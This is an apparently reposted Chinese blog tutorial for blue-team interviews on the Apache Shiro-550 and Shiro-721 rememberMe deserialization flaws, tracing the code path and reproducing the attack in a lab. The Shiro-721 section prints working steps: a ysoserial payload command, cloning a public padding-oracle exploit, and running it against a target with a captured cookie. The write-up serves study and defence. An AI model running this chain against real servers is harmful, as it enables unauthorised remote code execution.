一文讲懂蓝队面试shiro漏洞知识点

admin 2024年11月8日15:59:41评论5 views字数 3115阅读10分23秒阅读模式

shiro550

环境搭建

shiro-550 IDEA环境配置:https://blog.csdn.net/qq_47886905/article/details/123479769

漏洞代码:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

一文讲懂蓝队面试shiro漏洞知识点
image-20241020212810834
一文讲懂蓝队面试shiro漏洞知识点
image-20241020213607738

漏洞原理

双击shift快捷键检索cookie关键词,看到CookieRememberMeManager类继承了AbstractRememberMeManager

一文讲懂蓝队面试shiro漏洞知识点
image-20241020214251751

ctrl+B对AbstractRememberMeManager进行跟进,可以看到又继承RememberMeManager接口,并且在此路径看到key

一文讲懂蓝队面试shiro漏洞知识点
image-20241020214600028

ctrl+B继续跟进,用gpt代码审计,主要是登录成功,失败,退出的一些接口服务

一文讲懂蓝队面试shiro漏洞知识点
image-20241020215952958
一文讲懂蓝队面试shiro漏洞知识点
image-20241020215335137

我们对项目进行断点深入分析

调用forgetIdentity方法对subject(当前用户)进行清除存储身份信息,确保旧的remember不会影响当前会话

接着判断是否使用remember,来确定是否调用rememberIdentity(subject, token, info)保存信息

否则日志记录该行为

一文讲懂蓝队面试shiro漏洞知识点
image-20241020222404711

继续跟进forgetIdentity方法

获取getCookie()后使用removeFrom方法->response头部添加rememberMe=deleteMe

一文讲懂蓝队面试shiro漏洞知识点
image-20241020223521906

回到上步是否保存信息进入rememberIdentity方法,调用convertPrincipalsToBytes,将身份信息转换为字节数组保存序列化后的身份信息,若不为null则并对字节数组进行AES加密

一文讲懂蓝队面试shiro漏洞知识点
image-20241020224240196

getCipherService()getEncryptionCipherKey() 的实现,它们分别提供了加密服务和密钥获取。

一文讲懂蓝队面试shiro漏洞知识点
image-20241020225642392

对加密的key进行base64加密,保存至cookie

一文讲懂蓝队面试shiro漏洞知识点
image-20241020230128169

总结:

1.2.4版本之前密钥都是固定的

获取cookie中的remember值-->base64解码-->AES解码-->反序列化

漏洞关键点在与密钥固定,而官方修复方法就是生成随机密钥

攻击手法进而变成从项目中找固定密钥-->信息收集密钥进行爆破

漏洞复现与利用

通过相关语法搜索相关资产

一文讲懂蓝队面试shiro漏洞知识点
image-20241101193021361
一文讲懂蓝队面试shiro漏洞知识点
image-20241101193129850
一文讲懂蓝队面试shiro漏洞知识点
image-20241020231234665

shiro721

环境搭建

1.2.5 <= Apache Shiro <= 1.4.1

源码:https://github.com/apache/shiro/releases/tag/shiro-root-1.2.5

AES-128-CBC加密:AES代表加密方式,CBC是分组模式,128也就是16个字节

漏洞原理

shiro550将硬编码进源码里,shiro721是动态生成的

一文讲懂蓝队面试shiro漏洞知识点
image-20241101203532865

跟进方法generateNewKey()

一文讲懂蓝队面试shiro漏洞知识点
image-20241101203806706

SecureRandom生成随机数

一文讲懂蓝队面试shiro漏洞知识点
image-20241101204049748

接着调用了generateKey生成16字节的随机序列,通过getEncoded()获取key序列

漏洞复现与利用

勾选remember me,错误登录返回deleteMe

一文讲懂蓝队面试shiro漏洞知识点
image-20241101214558943

使用已知用户凭证获取正常序列化数据,登录成功后访问http://192.168.30.130:8080/account/,得到cookie中remember me的值

一文讲懂蓝队面试shiro漏洞知识点
image-20241101214918878

使用序列化工具生成在目标靶机中创建/tmp/test的payload

java -jar ysoserial-all.jar CommonsCollections1 'touch /tmp/test' > payload.class
一文讲懂蓝队面试shiro漏洞知识点
image-20241101220712410

通过git对其padding oracle attack poc进行下载

git clone https://github.com/wuppp/shiro_rce_exp.git

使用此exp进行爆破

python shiro_exp.py http://192.168.30.130:8080/account/ lexZegdw5tYxwYlllZs+9plLNEqThTJoxUrW3euVVNtTkxYKRsrLWN/arI7XJs8FdaLZgWFlT0K2hEFWBsFgO6GzDN2zjPye/8wGqOde+laAklFjWBmUvjmGtd6J8Uy/viZzK1Usp2cnAkmWsSnxVcKoGQhYN0FxBQwWzqNJLr+SQkqWqGrcW+Hicc2ZBHADaTLsQ59dTeiYwhobJFnTsIoScW+DxD+ROuP2YzcpRxA2m1LiIsfNqmT3v0s3WAeoXLXD9X8K42zQSV8G+FcctKU6/c+fWuwjzAPQOFTBld8PtTZcNBAmWJDN7VxvVuQ29+/7v22xlxWLZaiQ5HJYvOngdQLQAWF83MKCfhmLPwXGYfgBr0piJCEUbzlyWCfdrITdZo1kjM7/iZ8tlss9idcqWlSRpDRHTx4C0WGBS7Iy4s/t8BXjkVD8sNQ+bhuNl3vEZr3PMDBOOGzoUe0YSfMtpwR4rkXtTYreoS5wMRkYtZprgbwptS6soVvH06Nf payload.class

然后就是漫长的等待

一文讲懂蓝队面试shiro漏洞知识点
image-20241101222707992
一文讲懂蓝队面试shiro漏洞知识点
image-20241101225104724

使用生成的cookie重放数据,就可以成功执行命令

一文讲懂蓝队面试shiro漏洞知识点
image-20241101225445633

总结

shiro550:获取cookie中的remember值-->base64解码-->AES解码-->反序列化

用户打开remember me功能后会在请求包生成一个cookie,是经过序列化-aes加密-base64加密的字符串,关键点在于aes密钥是默认的,能构造恶意代码导致RCE漏洞,恶意代码:序列化-aes加密-base64编码-发送恶意cookie

shiro721:采用AES-128-CBC加密,可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,重新请求网站,进行反序列化攻击

主要区别:shiro550使用已知密钥,足够密钥就可以进行rce利用,不需要remember me 的cookie

shiro721的AES加密的key为系统随机生成,需要利用登录后的remember me去爆破正确key值,利用有效的rememberme cookie作为padding attack的前缀,构造反序列化攻击

原文始发于微信公众号(flowers-boy):一文讲懂蓝队面试shiro漏洞知识点

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月8日15:59:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一文讲懂蓝队面试shiro漏洞知识点http://cn-sec.com/archives/3373713.html

发表评论

匿名网友 填写信息